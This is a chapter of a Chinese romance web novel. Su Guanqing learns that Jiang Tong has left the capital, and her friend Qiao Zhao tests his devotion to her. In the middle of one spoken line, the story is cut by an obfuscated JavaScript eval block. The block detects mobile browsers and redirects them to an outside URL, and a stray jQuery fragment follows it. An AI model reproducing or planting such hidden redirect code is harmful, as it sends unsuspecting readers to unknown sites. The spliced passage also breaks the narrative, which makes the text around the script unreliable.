那日苏观卿侍讲结束,小皇帝忽然神神秘秘地跟他说,有恩旨给他,让他回去等消息。
苏观卿第二日正好是要休沐的,本来打算晚上去姜家蹭饭,如此一来,便哪里也不敢去,只在客栈里等着。
稍迟一点,宫里的内侍前来传旨,一来就笑容满面地恭喜他。
苏观卿方知道,原来小皇帝是要把苏家被抄没的宅子和田产都还给他。
“明日苏侍讲休沐,正好去将一应地契田产都交接了吧。”那内侍走的时候,笑眯眯地跟苏观卿说道。
苏观卿谢恩后,送那内侍出门,一听这话却没有那内侍以为的大喜过望,他明日是要待在姜宅的!如果耽误在验收上了,他岂不是又得有十天见不到曈曈了!
然而转念一想,曈曈小时候没少来苏宅玩儿,也算是在苏宅长大的,她未必没有重游旧地的兴致,明日自己大可以先去姜宅找曈曈,央她陪自己一起去验收。
一念想定,苏观卿心情大好,见时间太晚,他便没有去姜家蹭饭,自己在客栈胡乱吃了些东西,便草草睡下了。
次日一大早,他兴冲冲地就找姜曈去了。
然而到了姜宅大门口,他却惊讶地发现,姜宅大门居然从外面被锁上了。
苏观卿把外面那把大锁抓在手里看了看,整个人有些懵。
姜家这是全家都出门了?没留个下人守屋?
苏观卿走下台阶,脑中兀自疑惑,走了两步,忽又回头一看,却是心神巨震——
宅子上面挂着的,写着“姜宅”二字的匾额居然不见了!
曈曈这是搬家了?!
苏观卿当场慌了,在姜宅附近没头苍蝇一样绕了两圈,正遇上两个中年男子走上前去,要开姜宅的门。
苏观卿大惊,以为有贼,冲上前去质问:“光天化日之下!你们怎敢潜入他人住宅?”
拿着钥匙那人无辜被冤枉成小贼,当即要怒,然而一看苏观卿的穿着打扮,知道对方绝非普通百姓,当即陪着小心道:“小的不是贼,小的是房牙,这家举家离开京城,托了小的帮忙卖掉这宅子。”
“举、举家离开京城?”苏观卿一时如遭雷击,那一瞬,他甚至希望是自己听错了。
然而那房牙打碎了他那一点空无的希冀:
“可不嘛,说是以后不打算回来了,这宅子空着也是空着,不如卖了省事儿。”
苏观卿踉跄两步,回头看看那空空荡荡的门楣,心中绝望地想:曈曈真的不要自己了。
下一瞬,他脑中灵光一闪,一把抓住那房牙的肩头,声音急切:“既然宅子还没卖出去,屋主是不是还在京城?不然到时候如何过割,如何收钱?”
“这个……”那房牙被他拽住,没好意思立即挣脱,姿势有些别捏地道,“其实来找我们的也不是屋主。是锦衣卫的乔指挥使,是她把钥匙给我们的,届时一应交割手续也皆由乔指挥使代办……”
那房牙话音还没落地,苏观卿已经着急忙慌地丢下他跑了。
……
苏观卿找过锦衣卫的公廨衙门,找过阿乔的宅子,最后才在宫里找到在御前听宣的阿乔。
苏观卿在宫外递了牌子后,便分秒难安地等待召唤,及至被允许入内了,他脚不点地地就要往里赶。
被引路的小内侍提醒了数次,方堪堪稳住步伐,然而等他进入殿中,看到正同皇帝说话的阿乔,他便什么都顾不上了,冲上去便追问姜曈是否当真离开京城了。
被直接晾在一边的小皇帝陛下:“……”
朱见澄眨巴了一下眼睛,又无辜地朝阿乔看去。他的这位侍讲一向温文尔雅,规行矩步,今日怎的失心疯了?御前失仪诶!
阿乔也没理会小皇帝,只是转向苏观卿:“阿曈她的确离开京城了。”
“她为什么会离开京城?她去哪儿了?”苏观卿急急问道。
他心中绝望,只道曈曈竟是为了躲开自己才会离开京城。他想不明白,他已经搬走了呀!曈曈就狠心到,连十日一次的见面都不能给他吗?
阿乔正要说话,留意到旁边一道八卦的目光,便道:“陛下,看书也看累了,去御花园走走吧。”
“诶好!”朱见澄本就是孩子心性,闻言巴不得一声,从龙椅上蹦跶起来,就往外蹿去。
阿乔这才转向苏观卿,面对苏观卿血红的眼睛,阿乔叹了口气:“观卿,我知道你心里面有恨,上辈子是她欠你的。可是她今世已经尽力弥补你了,你难道还不解气吗?”
苏观卿听不明白她在说什么,微微睁大了眼睛:“这是何意?什么不解气?”
“你不是怨怪阿曈上一世害死你吗?”阿乔问道。
“我几时怨怪过曈曈?!前一世害死我的,是官府的那八十杖责,是姜曚的故意找事,与曈曈有何关系?整件事情里,曈曈是最无辜的呀!”苏观卿的声音甚至都拔高了少许。
“那你为何故意疏远阿曈?”阿乔见他表情不似作伪,不由也是惊讶不已。
苏观卿便露出几分苦涩来:“我疏远曈曈,是因为我知道她对我好,只是为了报恩,我不忍她如此委屈自己。”
“你觉得,阿曈是那种为了报恩,就以身相许的人?”阿乔难以置信地瞪视着苏观卿。然而他的表情告诉她,他真的是那样以为的。
阿乔大嚷道:“老天耶!苏观卿!你是第一天认识阿曈吗?她几时是那等会为了别人委屈自己的人?就算你是她的恩人也不可能吧?报恩的法子多了去了,哪至于就要把自己搭进去了?”
苏观卿被她这话震在了原地,他张口结舌地傻瞪着阿乔,只觉得自己一颗本已如死灰一般的心又活了过来,正猛烈地跳动着,就要撞碎他的胸腔。
“阿曈的确是想报恩不错,但是她也是真的心悦于你的。”阿乔简直想不到,这两个人居然会闹这样的误会。
“此话……当真?”苏观卿的声音发颤。
“自然是真的,阿曈亲口告诉我的。她最开始把你救回来,的确只是想着要养你一辈子而已,可没想过要跟你有别的什么。可情之所至,又是谁能控制的……”阿乔不满地看着苏观卿,“你居然会以为她是为了报恩才同你一起的!”
苏观卿心潮澎湃,一时又激动,又懊悔,竟不知道该说什么了。
阿乔一见他这个表情,却是重重地叹了口气:“你可不知道,这些日子你故意疏远她,叫她有多伤心。”
“是我的错,我的错,”苏观卿听她这样说,不由心如刀绞,忙又问道,“她去了哪里?”
“抱歉,阿曈不许我告诉你,”阿乔摊摊手,“她说了,既然你都决定了,那以后,你们俩就桥归桥路归路,死生不复见……”
阿乔的声音忽然戛然而止,因为她看到苏观卿居然直接跪在了自己面前:“观卿,你这是做什么?”
“阿乔姑娘,求求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246093|175808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你告诉我,曈曈她去了哪里?”苏观卿说完就给阿乔磕头。
“诶诶诶,你怎么这样,你先起来,”阿乔简直无奈,“你就是把头给我磕破了,我也不能告诉你。我答应了阿曈的。”
乔指挥使向来说到做到,唤来两个内侍,吩咐道:“今日苏侍讲该去验收田宅,你们陪着苏侍讲去吧。”
那两个内侍得令,一边一个,竟强行把苏观卿拉起来了,拽着他就往外面走。
苏观卿被拖到了殿外,眼见着就要看不见阿乔了,心中急切,挣扎起来:“乔指挥使!你就告诉我吧!曈曈她到底去了哪里?”
“苏侍讲可莫要喧哗,这是在宫里,仔细惊扰了宫禁,失了朝仪就不好了。”抓着苏观卿右手的那个内侍提醒道。
苏观卿心中焦急难抑,却又实在无可奈何,就这么被两个内侍裹挟着上了马车。
一上马车,苏观卿就跟丢了魂似的,不说话,也不动作,到了苏宅,他像是完全没有看到负责交接的吏员,幽魂似的,往宅子里面“飘”。
负责交接的吏员傻了眼,看向那俩内侍:“这……”
那两个内侍你看看我,我看看你,事先提醒过苏观卿的那个开口道:“苏侍讲久未归家,一时心潮难抑也是有的,乔指挥使让咱陪着苏侍讲验收,既然苏侍讲眼下无心处理此事,便由咱代苏侍讲验看吧。”
“诶!”那吏员正愁交不了差,此时巴不得一句,忙递上了早已准备好的田契与地契,“公公请看。”
这两个内侍,一个留在苏宅帮着验收,另外一个就回去找乔昭复命了。
——“昭”这个字,是阿乔当上指挥使后,给自己取的。好歹是朝廷命官,总不好一直没有名字。
乔昭还在宫中。小皇帝在外面游荡一圈回来,正好听见内侍说起苏观卿这一路的行止,等内侍一走,他便道:“我说为什么之前你要扣下给姜姨封赏的恩旨,合着就为了试探苏侍讲对她是不是真心?”
乔昭横他一眼:“阿曈是我至交,我当然得帮她把把关。你别看你姜姨精明,其实也只是个一心扑在书画修复上的痴人,哪里知道男人最是拜高踩低的,他卑微之时便顺着你,等到他飞黄腾达了,难保不会过河拆桥。”
朱见澄就冲着阿乔咧开嘴笑:“乔姨,我才不是那等过河拆桥的。乔姨与姜姨对我的好,我都记在心里的。”
“谁同你贫嘴,我先走了。”乔昭到底不放心苏观卿的情况,出宫往苏宅而去。
她是在苏宅后花园的池塘边找到苏观卿的。
苏宅的池塘边有个水榭,水榭下面的池塘中,有一堆突出水面的太湖石。
苏观卿就站在那堆太湖石上,风吹过他的衣衫下摆,颇有种水上仙人的凭虚之感。
然而乔昭可不懂欣赏什么仙人之姿,她只知道苏观卿只要往前跨出一步,就会掉进水里,一时间,心都要从嗓子口跳出来了。
她运起轻功,风一般掠至水榭当中,唤道:“观卿!你别想不开!”
她一面劝,一面观察四周,见下面太湖石形状嶙峋,根本没有多的位置,自己要是跳上去,怕反而会把苏观卿挤下水,一时间,手眼通天的乔指挥使也有些束手无策。
苏观卿听见了背后乔昭的声音,他却像是反应有些迟钝似的,好半天才缓缓转过头来。
“观卿,你别乱来,阿曈的事情,咱们还可以商量。”乔昭见他转过来,忙道。